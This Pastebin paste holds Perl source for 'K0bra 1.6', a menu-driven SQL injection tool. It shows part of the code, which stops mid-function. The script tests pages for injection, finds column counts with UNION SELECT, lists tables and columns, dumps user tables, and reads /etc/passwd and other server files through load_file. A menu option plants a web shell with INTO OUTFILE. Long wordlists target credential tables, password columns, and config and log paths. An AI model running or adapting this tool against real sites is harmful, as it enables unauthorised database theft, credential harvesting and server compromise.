Advertisement
Doddy

K0bra 1.6 (DOS)(Codigo NO identado)

Jul 15th, 2012
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 38.44 KB | None | 0 0
  1. #!usr/bin/perl
  2. #K0bra 1.6
  3. #Coded By Doddy H
  4.  
  5. #The arrays are a collection of various tools I found on the web.
  6.  
  7. my @files =('C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/admin.php','C:/xampp/htdocs/leer.txt','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf.default','C:\ProgramFiles\ApacheGroup\Apache\conf\httpd.conf','C:\ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf','C:\ProgramFiles\xampp\apache\conf\httpd.conf','/usr/local/php/httpd.conf.php','/usr/local/php4/httpd.conf.php','/usr/local/php5/httpd.conf.php','/usr/local/php/httpd.conf','/usr/local/php4/httpd.conf','/usr/local/php5/httpd.conf','/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf','/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php','/usr/local/etc/apache/vhosts.conf','/etc/php.ini','/bin/php.ini','/etc/httpd/php.ini','/usr/lib/php.ini','/usr/lib/php/php.ini','/usr/local/etc/php.ini','/usr/local/lib/php.ini','/usr/local/php/lib/php.ini','/usr/local/php4/lib/php.ini','/usr/local/php5/lib/php.ini','/usr/local/apache/conf/php.ini','/etc/php4.4/fcgi/php.ini','/etc/php4/apache/php.ini','/etc/php4/apache2/php.ini','/etc/php5/apache/php.ini','/etc/php5/apache2/php.ini','/etc/php/php.ini','/etc/php/php4/php.ini','/etc/php/apache/php.ini','/etc/php/apache2/php.ini','/web/conf/php.ini','/usr/local/Zend/etc/php.ini','/opt/xampp/etc/php.ini','/var/local/www/conf/php.ini','/etc/php/cgi/php.ini','/etc/php4/cgi/php.ini','/etc/php5/cgi/php.ini','c:\php5\php.ini','c:\php4\php.ini','c:\php\php.ini','c:\PHP\php.ini','c:\WINDOWS\php.ini','c:\WINNT\php.ini','c:\apache\php\php.ini','c:\xampp\apache\bin\php.ini','c:\NetServer\bin\stable\apache\php.ini','c:\home2\bin\stable\apache\php.ini','c:\home\bin\stable\apache\php.ini','/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini','/usr/local/cpanel/logs','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/login_log','/var/cpanel/cpanel.config','/var/log/mysql/mysql-bin.log','/var/log/mysql.log','/var/log/mysqlderror.log','/var/log/mysql/mysql.log','/var/log/mysql/mysql-slow.log','/var/mysql.log','/var/lib/mysql/my.cnf','C:\ProgramFiles\MySQL\MySQLServer5.0\data\hostname.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.log','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql-bin.log','C:\ProgramFiles\MySQL\data\hostname.err','C:\ProgramFiles\MySQL\data\mysql.log','C:\ProgramFiles\MySQL\data\mysql.err','C:\ProgramFiles\MySQL\data\mysql-bin.log','C:\MySQL\data\hostname.err','C:\MySQL\data\mysql.log','C:\MySQL\data\mysql.err','C:\MySQL\data\mysql-bin.log','C:\ProgramFiles\MySQL\MySQLServer5.0\my.ini','C:\ProgramFiles\MySQL\MySQLServer5.0\my.cnf','C:\ProgramFiles\MySQL\my.ini','C:\ProgramFiles\MySQL\my.cnf','C:\MySQL\my.ini','C:\MySQL\my.cnf','/etc/logrotate.d/proftpd','/www/logs/proftpd.system.log','/var/log/proftpd','/etc/proftp.conf','/etc/protpd/proftpd.conf','/etc/vhcs2/proftpd/proftpd.conf','/etc/proftpd/modules.conf','/var/log/vsftpd.log','/etc/vsftpd.chroot_list','/etc/logrotate.d/vsftpd.log','/etc/vsftpd/vsftpd.conf','/etc/vsftpd.conf','/etc/chrootUsers','/var/log/xferlog','/var/adm/log/xferlog','/etc/wu-ftpd/ftpaccess','/etc/wu-ftpd/ftphosts','/etc/wu-ftpd/ftpusers','/usr/sbin/pure-config.pl','/usr/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.conf','/usr/local/etc/pure-ftpd.conf','/usr/local/etc/pureftpd.pdb','/usr/local/pureftpd/etc/pureftpd.pdb','/usr/local/pureftpd/sbin/pure-config.pl','/usr/local/pureftpd/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.pdb','/etc/pureftpd.pdb','/etc/pureftpd.passwd','/etc/pure-ftpd/pureftpd.pdb','/var/log/pure-ftpd/pure-ftpd.log','/logs/pure-ftpd.log','/var/log/pureftpd.log','/var/log/ftp-proxy/ftp-proxy.log','/var/log/ftp-proxy','/var/log/ftplog','/etc/logrotate.d/ftp','/etc/ftpchroot','/etc/ftphosts','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/maillog','/var/log/exim_paniclog','/var/log/exim/paniclog','/var/log/exim/rejectlog','/var/log/exim_rejectlog');
  8. my @buscar1 =('usuario','web_users','name','names','nombre','nombres','usuarios','member','members','admin_table','usuaris','admin','tblUsers','tblAdmin','user','users','username','usernames','web_usuarios','miembro','miembros','membername','admins','administrator','sign','config','USUARIS','cms_operadores','administrators','passwd','password','passwords','pass','Pass','mpn_authors','author','musuario','mysql.user','user_names','foro','tAdmin','tadmin','user_password','user_passwords','user_name','member_password','mods','mod','moderators','moderator','user_email','jos_users','mb_user','host','apellido_nombre','user_emails','user_mail','user_mails','mail','emails','email','address','jos_usuarios','tutorial_user_auth','e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','tbl_usuarios','user_auth','login_radio','registers','register','usr','usrs','ps','pw','un','u_name','u_pass','tbl_admin','usuarios_head','tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','BG_CMS_Users','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id','foro_usuarios','cliente','sistema_usuario','sistema_password','contrasena','auth','key','senha','signin','dir_admin','alias','clientes','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','calendar_users','cursos','tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','curso','membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup','leads','lead','associated','accnt','customers','customer','membres','administrateur','utilisateur','riacms_users','tuser','tusers','utilisateurs','amministratore','god','God','authors','wp_users','tb_usuarios','asociado','asociados','autores','autor','Users','Admin','Members','tb_usuario','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO','USR_NAME','about','access','admin_id','admin_name','admin_pass','admin_passwd','admin_password','admin_pwd','admin_user','admin_userid','admin_username','adminemail','adminid','administrator_name','adminlogin','adminmail','adminname','adminuser','adminuserid','adminusername','aid','aim','apwd','auid','authenticate','authentication','blog','cc_expires','cc_number','cc_owner','cc_type','cfg','cid','clientname','clientpassword','clientusername','conf','contact','converge_pass_hash','converge_pass_salt','crack','customers_email_address','customers_password','cvvnumber]','data','db_database_name','db_hostname','db_password','db_username','download','e_mail','emer','emni','emniplote','emri','fjalekalimi','fjalekalimin','full','gid','group','group_name','hash','hashsalt','homepage','icq','icq_number','id','id_group','id_member','images','ime','index','ip_address','kodi','korisnici','korisnik','kpro_user','last_ip','last_login','lastname','llogaria','login_admin','login_name','login_pass','login_passwd','login_password','login_pw','login_pwd','login_user','login_username','logini','loginkey','loginout','logo','logohu','lozinka','md5hash','mem_login','mem_pass','mem_passwd','mem_password','mem_pwd','member_id','member_login_key','member_name','memberid','memlogin','mempassword','my_email','my_name','my_password','my_username','myname','mypassword','myusername','nc','new','news','number','nummer','p_assword','p_word','pass_hash','pass_w','pass_word','pass1word','passw','passwordsalt','passwort','passwrd','perdorimi','perdoruesi','personal_key','phone','privacy','psw','punetoret','punonjes','pword','pwrd','salt','search','secretanswer','secretquestion','serial','session_member_id','session_member_login_key','sesskey','setting','sid','sifra','spacer','status','store','store1','store2','store3','store4','table_prefix','temp_pass','temp_password','temppass','temppasword','text','uid','uname','user_admin','user_icq','user_id','user_ip','user_level','user_login','user_n','user_pass','user_passw','user_passwd','user_pw','user_pwd','user_pword','user_pwrd','user_un','user_uname','user_username','user_usernm','user_usernun','user_usrnm','user1','useradmin','userid','userip','userlogin','usern','usernm','userpass','userpassword','userpw','userpwd','usr_n','usr_name','usr_pass','usr2','usrn','usrnam','usrname','usrnm','usrpass','warez','xar_name','xar_pass','nom dutilisateur','mot de passe','compte','comptes','aide','objectif','authentifier','authentification','Contact','fissure','client','clients','de donn?es','mot_de_passe_bdd','t?l?charger','E-mail','adresse e-mail','Emer','complet','groupe','hachage','Page daccueil','Kodi','nom','connexion','membre','MEMBERNAME','mon_mot_de_passe','monmotdepasse','ignatiusj','caroline-du-nord','nouveau','Nick','passer','Passw','Mot de passe','t?l?phone','protection de la vie priv?e','PSW','pWord','sel','recherche','de s?rie','param?tre','?tat','stocker','texte','cvvnumber');
  9. my @buscar2 = ('name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail','cliente','usrnm','user_usrnm','usr','admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email','senha','username','usernm','user_usernm','nm','user_nm','login','u_name','nombre','host','pws','cedula','userName','host_password','chave','alias','apellido_nombre','cliente_nombre','cliente_email','cliente_pass','cliente_user','cliente_usuario','login_id','sistema_id','author','user_login','admin_user','admin_pass','uh_usuario','uh_password','psw','host_username','sistema_usuario','auth','key','usuarios_nombre','usuarios_nick','usuarios_password','user_clave','membername','nme','unme','password','user_password','autores','pass_hash','hash','pass','correo','usuario_nombre','usuario_nick','usuario_password','userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors','user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username','tbladmins','sort','_wfspro_admin','4images_users','a_admin','account','accounts','adm','admin','admin_login','admin_userinfo','administer','administrable','administrate','administration','administrator','administrators','adminrights','admins','adminuser','art','article_admin','articles','artikel','ÃÜÂë','aut','autore','backend','backend_users','backenduser','bbs','book','chat_config','chat_messages','chat_users','client','clients','clubconfig','company','config','contact','contacts','content','control','cpg_config','cpg132_users','customer','customers','customers_basket','dbadmins','dealer','dealers','diary','download','Dragon_users','e107.e107_user','e107_user','forum.ibf_members','fusion_user_groups','fusion_users','group','groups','ibf_admin_sessions','ibf_conf_settings','ibf_members','ibf_members_converge','ibf_sessions','icq','images','index','info','ipb.ibf_members','ipb_sessions','joomla_users','jos_blastchatc_users','jos_comprofiler_members','jos_contact_details','jos_joomblog_users','jos_messages_cfg','jos_moschat_users','jos_users','knews_lostpass','korisnici','kpro_adminlogs','kpro_user','links','login_admin','login_admins','login_user','login_users','logins','logs','lost_pass','lost_passwords','lostpass','lostpasswords','m_admin','main','mambo_session','mambo_users','manage','manager','mb_users','member','memberlist','members','minibbtable_users','mitglieder','movie','movies','mybb_users','mysql','mysql.user','names','news','news_lostpass','newsletter','nuke_authors','nuke_bbconfig','nuke_config','nuke_popsettings','nuke_users','Óû§','obb_profiles','order','orders','parol','partner','partners','passes','passwords','perdorues','perdoruesit','phorum_session','phorum_user','phorum_users','phpads_clients','phpads_config','phpbb_users','phpBB2.forum_users','phpBB2.phpbb_users','phpmyadmin.pma_table_info','pma_table_info','poll_user','punbb_users','pwds','reg_user','reg_users','registered','reguser','regusers','session','sessions','settings','shop.cards','shop.orders','site_login','site_logins','sitelogin','sitelogins','sites','smallnuke_members','smf_members','SS_orders','statistics','superuser','sysadmins','system','sysuser','sysusers','table','tables','tb_admin','tb_administrator','tb_login','tb_member','tb_members','tb_user','tb_username','tb_usernames','tb_users','tbl','tbl_user','tbl_users','tbluser','tbl_clients','tbl_client','tblclients','tblclient','test','usebb_members','user_admin','user_info','user_list','user_logins','user_names','usercontrol','userinfo','userlist','userlogins','usernames','userrights','users','vb_user','vbulletin_session','vbulletin_user','voodoo_members','webadmin','webadmins','webmaster','webmasters','webuser','webusers','x_admin','xar_roles','xoops_bannerclient','xoops_users','yabb_settings','yabbse_settings','ACT_INFO','ActiveDataFeed','Category','CategoryGroup','ChicksPass','ClickTrack','Country','CountryCodes1','CustomNav','DataFeedPerformance1','DataFeedPerformance2','DataFeedPerformance2_incoming','DataFeedShowtag1','DataFeedShowtag2','DataFeedShowtag2_incoming','dtproperties','Event','Event_backup','Event_Category','EventRedirect','Events_new','Genre','JamPass','MyTicketek','MyTicketekArchive','News','PerfPassword','PerfPasswordAllSelected','Promotion','ProxyDataFeedPerformance','ProxyDataFeedShowtag','ProxyPriceInfo','Region','SearchOptions','Series','Sheldonshows','StateList','States','SubCategory','Subjects','Survey','SurveyAnswer','SurveyAnswerOpen','SurveyQuestion','SurveyRespondent','sysconstraints','syssegments','tblRestrictedPasswords','tblRestrictedShows','TimeDiff','Titles','ToPacmail1','ToPacmail2','UserPreferences','uvw_Category','uvw_Pref','uvw_Preferences','Venue','venues','VenuesNew','X_3945','tblArtistCategory','tblArtists','tblConfigs','tblLayouts','tblLogBookAuthor','tblLogBookEntry','tblLogBookImages','tblLogBookImport','tblLogBookUser','tblMails','tblNewCategory','tblNews','tblOrders','tblStoneCategory','tblStones','tblUser','tblWishList','VIEW1','viewLogBookEntry','viewStoneArtist','vwListAllAvailable','CC_info','CC_username','cms_user','cms_users','cms_admin','cms_admins','jos_user','table_user','bulletin','cc_info','login_name','admuserinfo','userlistuser_list','SiteLogin','Site_Login','UserAdmin','Admins','Login','Logins');
  10.  
  11. use LWP::UserAgent;
  12. use URI::Split qw(uri_split);
  13.  
  14. installer();
  15.  
  16. my $nave = LWP::UserAgent->new();
  17. $nave->timeout(5);
  18. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  19.  
  20. clean();
  21.  
  22. &head;
  23. unless(@ARGV == 2) {
  24. &menu;
  25. } else {
  26. &scan($ARGV[0],$ARVG[1]);
  27. }
  28. &finish;
  29.  
  30. sub menu {
  31. print "[Page] : ";
  32. chomp(my $page=<STDIN>);
  33. print "\n[Bypass : -- /* %20] : ";
  34. chomp(my $bypass = <STDIN>);
  35. print "\n\n";
  36. &scan($page,$bypass);
  37. }
  38.  
  39. sub scan {
  40. my $page = $_[0];
  41. print "[Status] : Scanning.....\n";
  42. ($pass1,$bypass2) = &bypass($_[1]);
  43.  
  44. my $save = partimealmedio($_[0]);
  45.  
  46. if ($_[0]=~/hackman/ig) {
  47. savefile($save.".txt","\n[Target Confirmed] : $_[0]\n");
  48. &menu_options($_[0],$_[1],$save);
  49. }
  50.  
  51. my $testar1 = toma($page.$pass1."and".$pass1."1=0".$pass2);
  52. my $testar2 = toma($page.$pass1."and".$pass1."1=1".$pass2);
  53.  
  54. unless ($testar1 eq $testar2) {
  55. motor($page,$_[1]);
  56. } else {
  57. print "\n[-] Not vulnerable\n\n";
  58. print "[+] Scan anyway y/n : ";
  59. chomp(my $op = <stdin>);
  60. if ($op eq "y") {
  61. motor($page,$_[1]);
  62. } else {
  63. head();
  64. menu();
  65. }
  66. }
  67.  
  68. }
  69.  
  70. sub motor {
  71.  
  72. my ($gen,$save,$control) = &length($_[0],$_[1]);
  73.  
  74. if ($control eq 1) {
  75. print "[Status] : Enjoy the menu\n\n";
  76. &menu_options($gen,$_[1],$save);
  77. } else {
  78. print "[Status] : Length columns not found\n\n";
  79. <STDIN>;
  80. &head;
  81. &menu;
  82. }
  83. }
  84.  
  85. sub head {
  86. clean();
  87. print qq(
  88.  
  89.  
  90.  @      @@   @            
  91. @@     @  @ @@            
  92.  @ @@  @  @  @ @   @ @ @@@
  93.  @ @   @  @  @@ @ @@@ @  @
  94.  @@    @  @  @  @  @   @@@
  95.  @ @   @  @  @  @  @  @  @
  96. @@@ @   @@   @@@  @@@ @@@@@
  97.  
  98.  
  99.  
  100.  
  101. );
  102. }
  103.  
  104. sub length {
  105. print "\n[+] Looking for the number of columns\n\n";
  106. my $rows  = "0";
  107. my $asc;
  108. my $page = $_[0];
  109. ($pass1,$pass2) = &bypass($_[1]);
  110.  
  111. $alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
  112. $total = "1";
  113. for my $rows(2..200) {
  114. $asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")";
  115. $total.= ",".$rows;
  116. $injection = $page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
  117. $test = toma($injection);
  118. if ($test=~/RATSXPDOWN/) {
  119. @number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  120. $control = 1;
  121.  
  122. my $save = partimealmedio($_[0]);
  123.  
  124. savefile($save.".txt","\n[Target confirmed] : $page");
  125. savefile($save.".txt","[Bypass] : $_[1]\n");
  126. savefile($save.".txt","[Limit] : The site has $rows columns");
  127. savefile($save.".txt","[Data] : The number @number print data");
  128. $total=~s/$number[0]/hackman/;
  129. savefile($save.".txt","[SQLI] : ".$page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total);
  130. return($page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
  131. }
  132. }
  133. }
  134.  
  135. sub details {
  136. my ($page,$bypass,$save) = @_;
  137. ($pass1,$pass2) = &bypass($bypass);
  138. savefile($save.".txt","\n");
  139. if ($page=~/(.*)hackman(.*)/ig) {
  140. print "[+] Searching information..\n\n";
  141. my  ($start,$end) = ($1,$2);
  142. $inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
  143. $mysqluser = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2;
  144. $test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  145. $test1 = toma($inforschema);
  146. $test2 = toma($mysqluser);
  147. if ($test2=~/ERTOR854/ig) {
  148. savefile($save.".txt","[mysql.user] : ON");
  149. print "[mysql.user] : ON\n";
  150. } else {
  151. print "[mysql.user] : OFF\n";
  152. savefile($save.".txt","[mysql.user] : OFF");
  153. }
  154. if ($test1=~/ERTOR854/ig) {
  155. print "[information_schema.tables] : ON\n";
  156. savefile($save.".txt","[information_schema.tables] : ON");
  157. } else {
  158. print "[information_schema.tables] : OFF\n";
  159. savefile($save.".txt","[information_schema.tables] : OFF");
  160. }
  161. if ($test3=~/ERTOR854/ig) {
  162. print "[load_file] : ON\n";
  163. savefile($save.".txt","[load_file] : ".$start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  164. }
  165. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
  166. $injection = $start.$concat.$end.$pass2;
  167. $code = toma($injection);
  168. if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
  169. print "\n[!] DB Version : $1\n[!] DB Name : $2\n[!] Username : $3\n\n";
  170. savefile($save.".txt","\n[!] DB Version : $1\n[!] DB Name : $2\n[!] Username : $3\n");
  171. } else {
  172. print "\n[-] Not found any data\n";
  173. }
  174. }
  175. }
  176.  
  177. sub menu_options {
  178.  
  179. my $testarnownow = $_[0]; ## Comment on this line to compile to exe
  180. $SIG{INT} = sub { reload($testarnownow) }; ## Comment on this line to compile to exe
  181.  
  182. head();
  183.  
  184. print "[Target confirmed] : $_[0]\n";
  185. print "[Bypass] : $_[1]\n\n";
  186.  
  187. my $save = partimealmedio($_[0]);
  188.  
  189. print "[save] : /logs/webs/$save\n\n";
  190. print "\n--== information_schema.tables ==--\n\n";
  191. print "[1] : Show tables\n";
  192. print "[2] : Show columns\n";
  193. print "[3] : Show DBS\n";
  194. print "[4] : Show tables with other DB\n";
  195. print "[5] : Show columns with other DB\n";
  196. print "\n\n--== mysql.user ==--\n\n";
  197. print "[6] : Show users\n";
  198. print "\n--== Others ==--\n\n";
  199. print "[7] : Fuzz tables\n";
  200. print "[8] : Fuzz Columns\n";
  201. print "[9] : Fuzzing files with load_file\n";
  202. print "[10] : Read a file with load_file\n";
  203. print "[11] : Dump\n";
  204. print "[12] : Informacion of the server\n";
  205. print "[13] : Create a shell with into outfile\n";
  206. print "[14] : Show Log\n";
  207. print "[15] : Change Target\n";
  208. print "[16] : Exit\n";
  209. print "\n\n[Option] : ";
  210. chomp(my $opcion = <STDIN>);
  211. if ($opcion eq "1") {
  212. schematables($_[0],$_[1],$save);
  213. &reload;   
  214. }
  215. elsif ($opcion eq "2") {
  216. print "\n\n[Table] : ";
  217. chomp(my $tabla = <STDIN>);
  218. schemacolumns($_[0],$_[1],$save,$tabla);
  219. &reload;
  220. }
  221. elsif ($opcion eq "3") {
  222. &schemadb($_[0],$_[1],$save);
  223. &reload;
  224. }
  225. elsif ($opcion eq "4") {
  226. print "\n\n[DAtabase] : ";
  227. chomp(my $data =<STDIN>);
  228. &schematablesdb($_[0],$_[1],$data,$save);
  229. &reload;
  230. }
  231. elsif ($opcion eq "5"){
  232. print "\n\n[DB] : ";
  233. chomp(my $db =<STDIN>);
  234. print "\n[Table] : ";
  235. chomp(my $table =<STDIN>);
  236. &schemacolumnsdb($_[0],$_[1],$db,$table,$save);
  237. &reload;
  238. }
  239. elsif ($opcion eq "6") {
  240. &mysqluser($_[0],$_[1],$save);
  241. &reload;
  242. }
  243. elsif ($opcion eq "7") { ##
  244. &fuzz($_[0],$_[1],$save);
  245. &reload;
  246. }
  247. elsif ($opcion eq "8") { ##
  248. print "\n\n[Table] : ";
  249. chomp(my $table =<STDIN>);
  250. &fuzzcol($_[0],$_[1],$table,$save);
  251. &reload;
  252. }
  253. elsif ($opcion eq "9") {
  254. &load($_[0],$_[1],$save);
  255. &reload;
  256. }
  257. elsif ($opcion eq "10") {
  258. &loadfile($_[0],$_[1],$save);
  259. &reload;
  260. }
  261. elsif ($opcion eq "11") {
  262. print "\n\n[Table to dump] : ";
  263. chomp(my $tabla = <STDIN>);
  264. print "\n[Column 1] : ";
  265. chomp(my $col1 = <STDIN>);
  266. print "\n[Column 2] : ";
  267. chomp(my $col2 = <STDIN>);
  268. print "\n\n";
  269. &dump($_[0],$col1,$col2,$tabla,$_[1],$save);
  270. &reload;
  271. }
  272. elsif ($opcion eq "12") {
  273. print "\n\n";
  274. &details($_[0],$_[1],$save);
  275. &reload;
  276. }
  277. elsif ($opcion eq "13") {
  278. print "\n\n[Full Path Discloure] : ";
  279. chomp(my $path = <STDIN>);
  280. &into($_[0],$_[1],$path,$save);
  281. &reload;
  282. }
  283. elsif ($opcion eq "14") {
  284. $t = "logs/webs/$save.txt";
  285. system("start $t");
  286. &reload;
  287. }
  288. elsif ($opcion eq "15") {
  289. &head;
  290. &menu;
  291. }
  292.  
  293. elsif ($opcion eq "16") {
  294. &finish;
  295. }
  296. else {
  297. &reload;
  298. }
  299. }
  300.  
  301. sub schematables {
  302.  
  303. $real = "1";
  304. my ($page,$bypass,$save) = @_;
  305. savefile($save.".txt","\n");
  306. print "\n";
  307. my $page1 = $page;
  308. ($pass1,$pass2) = &bypass($_[1]);
  309. savefile($save.".txt","[DB] : default");
  310. print "\n[+] Searching tables with schema\n\n";
  311. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  312. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  313. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass2);
  314. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  315. my $resto = $1;
  316. $total = $resto - 17;
  317. print "[+] Tables Length :  $total\n\n";
  318. savefile($save.".txt","[+] Searching tables with schema\n");
  319. savefile($save.".txt","[+] Tables Length :  $total\n");
  320. my $limit = $1;
  321. for my $limit(17..$limit) {
  322. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."limit".$pass1.$limit.",1".$pass2);
  323. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."limit".$pass1.$limit.",1".$pass2."\n";
  324. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  325. my $table = $1;
  326. chomp $table;
  327. print "[Table $real Found : $table ]\n";
  328. savefile($save.".txt","[Table $real Found : $table ]");
  329. $real++;
  330. }}
  331. } else {
  332. print "\n[-] information_schema = ERROR\n";
  333. }    
  334. }
  335. sub reload {
  336. print "\n\n[+] Finish\n\n";
  337. <STDIN>;
  338. &head;
  339. &menu_options;
  340. }
  341.  
  342. sub schemacolumns {
  343. my ($page,$bypass,$save,$table) = @_;
  344. my $page3 = $page;
  345. my $page4 = $page;
  346. savefile($save.".txt","\n");
  347. print "\n";
  348. ($pass1,$pass2) = &bypass($bypass);
  349. print "\n[DB] : default\n";
  350. savefile($save.".txt","[DB] : default");
  351. savefile($save.".txt","[Table] : $table\n");
  352. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  353. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass2);
  354. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  355. print "\n[Columns Length : $1 ]\n\n";
  356. savefile($save.".txt","[Columns Length : $1 ]\n");
  357. my $si = $1;
  358. chomp $si;
  359. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  360. $real = "1";
  361. for my $limit2(0..$si) {
  362. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  363. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  364. print "[Column $real] : $1\n";
  365. savefile($save.".txt","[Column $real] : $1");
  366. $real++;
  367. }}
